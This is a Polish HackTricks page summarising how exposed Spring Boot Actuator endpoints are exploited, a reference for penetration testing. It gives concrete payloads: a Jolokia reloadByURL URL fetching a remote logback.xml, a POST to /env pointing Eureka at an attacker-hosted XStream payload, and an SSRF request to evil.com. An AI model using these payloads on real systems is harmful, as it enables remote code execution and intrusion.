Spring Actuators

Zacznij naukę hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Spring Auth Bypass

Z https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Wykorzystywanie Spring Boot Actuators

Sprawdź oryginalny post z [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Kluczowe punkty:

  • Actuators Spring Boot rejestrują punkty końcowe takie jak /health, /trace, /beans, /env, itp. W wersjach od 1 do 1.4 te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 tylko /health i /info są domyślnie nieczułe, ale programiści często wyłączają tę zabezpieczenie.

  • Pewne punkty końcowe Actuatorów mogą ujawniać wrażliwe dane lub umożliwiać szkodliwe działania:

  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, i /heapdump.

  • W Spring Boot 1.x actuatorzy są zarejestrowani pod głównym adresem URL, podczas gdy w wersji 2.x znajdują się pod ścieżką bazową /actuator/.

Techniki wykorzystywania:

  1. Wykonywanie zdalnego kodu za pomocą '/jolokia':

  • Punkt końcowy /jolokia actuatora ujawnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans.

  • Akcję reloadByURL można wykorzystać do ponownego wczytania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą opracowanych konfiguracji XML.

  • Przykładowy URL eksploatacji: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.

  1. Modyfikacja konfiguracji za pomocą '/env':

  • Jeśli biblioteki Spring Cloud są obecne, punkt końcowy /env umożliwia modyfikację właściwości środowiskowych.

  • Właściwości mogą być manipulowane w celu wykorzystania podatności, takiej jak podatność na deserializację XStream w usłudze Eureka serviceURL.

  • Przykładowy żądanie POST eksploatacji:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Inne przydatne ustawienia:

  • Właściwości takie jak spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, i spring.datasource.tomcat.max-active mogą być manipulowane w celu różnych eksploatacji, takich jak wstrzykiwanie SQL lub zmiana ciągów połączenia z bazą danych.

Dodatkowe informacje:

  • Kompletną listę domyślnych aktuatorów można znaleźć tutaj.

  • Punkt końcowy /env w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje taka sama.

Powiązane tematy:

  1. Env + H2 RCE:

  • Szczegóły dotyczące wykorzystania kombinacji punktu końcowego /env i bazy danych H2 można znaleźć tutaj.

  1. SSRF w Spring Boot poprzez nieprawidłowe interpretowanie ścieżki:

  • Obsługa parametrów macierzowych (;) w ścieżkach HTTP przez framework Spring może być wykorzystana do ataku Server-Side Request Forgery (SSRF).

  • Przykładowe żądanie eksploatacji:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Last updated